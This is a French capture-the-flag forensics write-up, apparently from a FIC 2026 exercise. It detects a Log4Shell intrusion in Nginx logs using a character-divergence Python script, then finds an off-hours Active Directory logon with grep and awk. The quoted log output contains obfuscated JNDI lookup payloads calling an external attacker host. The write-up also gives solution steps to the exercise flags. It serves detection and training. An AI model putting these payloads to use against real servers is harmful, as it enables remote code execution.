Gravité Zéro, Sécurité Zéro

Paul B.,Kilian H.

← Gravité Zéro, Sécurité Zéro · Partenaires Particuliers / Bienvenue au Club / Déchiffre-moi si tu peux / Livraison Express

Partenaires Particuliers

Une activité suspecte détectée sur le portail partenaires de Novatech pourrait être la première étape d'une intrusion sophistiquée.

Le système de détection d'intrusion a signalé un comportement anormal sur le serveur web de la DMZ. L'équipe de sécurité craint qu'un attaquant ait trouvé une brèche dans les défenses externes de l'entreprise.

Le RSSI de Novatech Industries vous a contacté suite à la détection d'activités suspectes sur le serveur hébergeant le portail partenaires. Les systèmes de surveillance ont collecté les logs d'accès Nginx du serveur pendant la période concernée.

Votre mission est d'analyser ces logs pour déterminer si une intrusion a eu lieu, identifier le vecteur d'attaque et évaluer l'étendue de la compromission initiale.

Cote 13 pts

Faire son rapport

Quelle vulnérabilité a été exploitée par l'attaquant?
Quel est l'identifiant de la connexion suspecte?

FIC 2026 - Résolution Scénario 2 - Exercice 1 : Partenaires Particuliers

Étape 1 : Identifier les requêtes malveillantes dans les logs nginx du serveur

Le seul moyen d'identifier les requêtes malveillantes parmi les logs est de faire une analyse de l'entropie des champs des requêtes.

Pour cela, il faut écrire un script qui va calculer l'entropie de chaque paramètre dans les requêtes HTTP et comparer cette entropie à la distribution moyenne des caractères dans l'ensemble des logs. Les paramètres présentant une divergence significative sont susceptibles d'être malveillants.

Comment ?

Nous calculons une version simplifiée de la divergence de Kullback-Leibler. Cette mesure quantifie la différence entre deux distributions de probabilités - dans notre cas, entre la distribution des caractères d'un paramètre spécifique et la distribution moyenne de tous les paramètres dans le fichier de logs.

Le script calcule donc la distribution de caractère de référence à partir de l'ensemble des logs, puis pour chaque paramètre, il calcule la divergence par rapport à cette distribution.

divergence += (fréquence_observée) * |log2(fréquence_observée / fréquence_attendue)|

Plus la valeur est élevée, plus le paramètre est suspect.

Interprétation des résultats

Après exécution, le script classe les paramètres par score de divergence. Les paramètres ayant les scores les plus élevés sont ceux qui contiennent des distributions de caractères les plus anormales.

En examinant les premiers résultats en lançant le script sur le fichier de log, nous pouvons identifier les requêtes Log4Shell:

Analyse des paramètres anormaux dans partner_hub_nginx.log...
Première passe: collecte des statistiques...
Nombre de paramètres analysés: 363585
Deuxième passe: détection des anomalies...

Paramètres inhabituels détectés (triés par score):
================================================================================
1. Ligne 67470: Score = 4.03
   Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
   Log complet: 192.168.1.23 - - [06/May/2025:19:11:07 +0200] "GET /analytics/reports?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}&format=xlsx HTTP/1.1" 200 4219 "https://www.google.com/" "Wget/1.21.1"
--------------------------------------------------------------------------------
2. Ligne 67505: Score = 4.03
   Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
   Log complet: 192.168.1.23 - - [06/May/2025:19:18:20 +0200] "GET /analytics/reports?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}&page=7 HTTP/1.1" 200 3015 "https://www.google.com/" "Wget/1.21.1"
--------------------------------------------------------------------------------
3. Ligne 67535: Score = 4.03
   Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
   Log complet: 192.168.1.23 - - [06/May/2025:19:24:09 +0200] "GET /projects/PRJ-6942?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}&view=table HTTP/1.1" 200 4297 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
--------------------------------------------------------------------------------
4. Ligne 67561: Score = 4.03
   Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
   Log complet: 192.168.1.23 - - [06/May/2025:19:30:07 +0200] "GET /search/partners?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService} HTTP/1.1" 200 2698 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
--------------------------------------------------------------------------------
5. Ligne 67572: Score = 4.03
   Paramètre suspect: query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}
   Log complet: 192.168.1.23 - - [06/May/2025:19:32:16 +0200] "GET /projects/PRJ-6942?query=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://logger-service.telemetry-cdn.su/AuthService}&filter[status]=eu HTTP/1.1" 200 1944 "-" "Mozilla/5.0 (compatible; bongbot/2.0; +http://www.bong.com/bingbot.htm)"
--------------------------------------------------------------------------------
6. Ligne 82656: Score = 3.54
   Paramètre suspect: auth=ACL=LKCHxJ/W3Z5o/UWUgHJMGUu3hH/xCZ=NK6N=3KZ
   Log complet: 198.51.100.5 - - [10/May/2025:15:12:58 +0200] "POST /search/partners?start_date=2025-04-03&signature=6724450061905c897da29f6fdeef1fb1dfe78351b64c868870ff512808568d0d&signature=52PbN5BhXb7L1yxCj97D=TiMeLbLO/HF&auth=ACL=LKCHxJ/W3Z5o/UWUgHJMGUu3hH/xCZ=NK6N=3KZ&filter[category]=completed HTTP/1.1" 200 3337 "https://mail.novatech.com/" "Mozilla/5.0 (compatible; YoundexBot/3.0; +http://youndex.com/bots)"
...

Il suffit au joueur d'identifier la CVE associée à cette requête, en faisant des recherches sur Internet, le payload étant très reconnaissable.

Nous avons donc ici identifié les deux flags: les requêtes Log4Shell et donc la CVE correspondante, et on a identifié l'heure de la première requête suspecte.

Voici un exemple de script Python pour faire cette analyse :

import math
import argparse
import re
from collections import Counter

def score_param(param, char_distribution):
    # Calcul du score de divergence par rapport à la distribution moyenne
    divergence = 0
    param_chars = Counter(param)
    total_chars = len(param)

    for char, count in param_chars.items():
        observed_freq = count / total_chars
        expected_freq = char_distribution.get(char, 0.001)  # Éviter division par zéro
        if expected_freq > 0:
            # Version simplifiée de la divergence KL
            divergence += observed_freq * abs(math.log2(observed_freq / expected_freq))

    return divergence

def analyze_logs(filename, top_n=20, min_length=8):
    """
    Analyse un fichier de logs en deux passes:
    1. Calcule la distribution moyenne des caractères et l'entropie moyenne
    2. Identifie les paramètres suspects basés sur la déviation par rapport à la moyenne
    """
    # Première passe: collecter des statistiques sur tous les paramètres
    all_params = []
    all_chars = Counter()
    total_chars = 0

    print("Première passe: collecte des statistiques...")
    with open(filename, 'r', errors='ignore') as f:
        for line in f:
            params = re.findall(r'[?&]([^&\s]+)', line)
            for param in params:
                if len(param) >= min_length:
                    all_params.append(param)
                    all_chars.update(param)
                    total_chars += len(param)

    # Calculer la distribution moyenne des caractères
    char_distribution = {char: count/total_chars for char, count in all_chars.items()}

    print(f"Nombre de paramètres analysés: {len(all_params)}")

    # Deuxième passe: analyser les paramètres par rapport aux moyennes
    results = []

    print("Deuxième passe: détection des anomalies...")
    with open(filename, 'r', errors='ignore') as f:
        for i, line in enumerate(f, 1):
            params = re.findall(r'[?&]([^&\s]+)', line)

            for param in params:
                if len(param) < min_length:
                    continue

                score = score_param(param, char_distribution)

                results.append((i, score, param, line.strip()))

    # Trier par score décroissant
    results.sort(key=lambda x: x[1], reverse=True)

    return results[:top_n]

def main():
    parser = argparse.ArgumentParser(description='Analyse des logs pour détecter des anomalies')
    parser.add_argument('filename', help='Fichier de logs à analyser')
    parser.add_argument('--top', type=int, default=20, help='Nombre de résultats à afficher')
    parser.add_argument('--min-length', type=int, default=8, help='Longueur minimale des paramètres à analyser')

    args = parser.parse_args()

    print(f"Analyse des paramètres anormaux dans {args.filename}...")
    results = analyze_logs(args.filename, args.top, args.min_length)

    if not results:
        print("Aucun paramètre suspect trouvé.")
        return

    print("\nParamètres inhabituels détectés (triés par score):")
    print("=" * 80)
    for i, (line_num, score, param, line) in enumerate(results, 1):
        print(f"{i}. Ligne {line_num}: Score = {score:.2f}")
        print(f"   Paramètre suspect: {param}")
        print(f"   Log complet: {line}")
        print("-" * 80)

if __name__ == "__main__":
    main()

Étape 2 : Identifier la connexion suspecte à l'Active Directory

L'objectif de cette étape est d'analyser les logs events.xml afin d'identifier une connexion réalisée à un horaire inhabituel (en pleine nuit) et d'extraire deux éléments clés :

  • En premier temps, le compte utilisé pour se connecter.
  • En second temps, le GUID de session (LogonGuid) associé à cet événement.

L'idée à avoir pour cette étape est d'identifier un horaire suspect de connexion.
Nous cherchons d'abord à repérer les événements ayant eu lieu entre 23h00 et 6h00.
Pour cela, on utilise la commande suivante :

grep -oP '(?<=<TimeCreated SystemTime=")[^"]+' events.xml | awk -F'T' '{if ($2 < "06:00:00" || $2 > "23:00:00") print $0}'

On obtient la date et heure suivante : 2025-05-16T03:18:56.8492094

Maintenant que nous connaissons la date et l'heure, nous allons retrouver l'événement XML correspondant.
On utilise la commande suivante :

awk '/<Event /,/<\/Event>/' events.xml | grep -B 10 -A 20 '2025-05-16T03:18:56.8492094'

On obtient :

Extrait XML de l'événement

Nous avons ici les deux flags en analysant l'événement extrait : le compte utilisé pour la connexion ainsi que le Logon GUID.